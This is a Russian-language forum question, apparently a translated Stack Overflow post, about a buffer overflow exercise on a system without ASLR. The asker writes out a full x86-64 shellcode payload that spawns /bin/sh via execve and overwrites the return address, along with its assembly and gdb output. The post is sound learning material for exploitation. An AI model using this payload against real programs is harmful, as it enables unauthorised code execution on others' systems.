Shellcode успешно выполняет / bin / sh, но немедленно завершает работу - PullRequest
0 голосов
/ 05 апреля 2019

Я пытаюсь решить очень простую проблему в качестве упражнения. Речь идет о внедрении шелл-кода через переполнение буфера, ASLR отсутствует, а стек является исполняемым.

Полезная нагрузка, которую я отправляю, следующая:

'\x00xx//bin/sh\x00H\xc7\xc0;\x00\x00\x00H\xbf\xb4\xdf\xff\xff\xff\x7f\x00
\x00H\xc7\xc6\x00\x00\x00\x00H\xc7\xc2\x00\x00
\x00\x00\x0f\x05aabbbbbbbbbbbbbbbbbbbbbbbbb\xbc\xdf\xff\xff\xff\x7f\x00\x00'

, где

'\x00xx #Three bytes used to prevent the program to overwrite my payload
//bin/sh\x00 #Null terminated /bin/sh
H\xc7\xc0;\x00\x00\x00H\xbf\xb4\xdf\xff\xff\xff\x7f\x00\x00H\xc7\xc6
\x00
\x00\x00\x00H\xc7\xc2\x00\x00\x00\x00\x0f\x05 #This is equivalent to

 mov rax, 0x3b; #Syscall number for execve()
 mov rdi, 0x7fffffffdfb4; #First parameter, address of /bin/sh in stack
 mov rsi, 0x0; #Second parameter 0
 mov rdx, 0; #Third parameter 0
 syscall;

aabbbbbbbbbbbbbbbbbbbbbbbbb #Fill the remaining bytes of the buffer
\xbc\xdf\xff\xff\xff\x7f\x00\x00' #Overwrite the return address 
with the address of the first shellcode instruction.

Теперь это вывод, если я выполню программу в gdb

$ gdb exploit_me
gdb> r < payload
Starting program: /root/exploit_me < payload

[...]

process 7640 is executing new program: /bin/dash
[Inferior 1 (process 7640) exited normally]

Это говорит о том, что / bin / dash вызывается правильно, но затем он немедленно завершается. Почему это происходит?

1 Ответ

0 голосов
/ 27 апреля 2019

С шеллкодом проблем нет.Посмотрите это видео, как решить проблему Первый эксплойт!Переполнение буфера с использованием Shellcode - bin 0x0E

...